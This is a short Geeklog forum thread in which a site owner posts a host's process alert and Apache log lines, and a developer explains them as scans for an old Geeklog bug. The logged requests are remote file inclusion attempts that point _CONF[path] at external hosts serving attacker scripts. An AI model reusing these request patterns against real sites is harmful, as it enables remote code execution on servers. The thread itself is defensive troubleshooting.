Geeklog Forums

=========================================
SYSTEM - 2007-06-27 14:45:03
Daemon: 27919 jinlun-owners.co.uk "perl" (/usr/bin/perl)
(/usr/local/apache/bin/httpd -DSSL)
Scripting disabled.
jinlun-owners.co.uk 87.233.130.25 - - [27/Jun/2007:13:56:27 +0100] "GET /plugins/spamx/EditHeader.Admin.class.php?_CONF[path]=http://www.ireo86.com/error.txt?? HTTP/1.1" 404 324 "-" "libwww-perl/5.79"
jinlun-owners.co.uk 216.120.237.150 - - [27/Jun/2007:14:17:43 +0100] "GET /plugins/spamx/LogView.Admin.class.php?_CONF[path]=http://www.thiaguinho.net/id.txt? HTTP/1.1" 404 321 "-" "libwww-perl/5.805"
jinlun-owners.co.uk 202.123.79.23 - - [27/Jun/2007:14:22:28 +0100] "GET /plugins/spamx/IPofUrl.Examine.class.php?_CONF[path]=http://statut.sxm1.com/components/com_adim.txt?? HTTP/1.1" 404 323 "-" "libwww-perl/5.79"
=========================================

Scripting was disabled as the server found process(es) running as 'daemons' ie a permanent process, which is not allowed on our server.

Has anyone got a solution?

The solution is to ignore them. Those are not valid request, those are script kiddies looking to exploit an old bug in Geeklog. If you're on Geeklog 1.4.1 or 1.4.0sr5-1, you can safely ignore them. Should they cause too much traffic, try blocking that user agent string.

Also see the discussion over here.

bye, Dirk

Cheers dirk, I will try blocking the user agents once the host allows me access to the site again, they have blocked all php scripting now.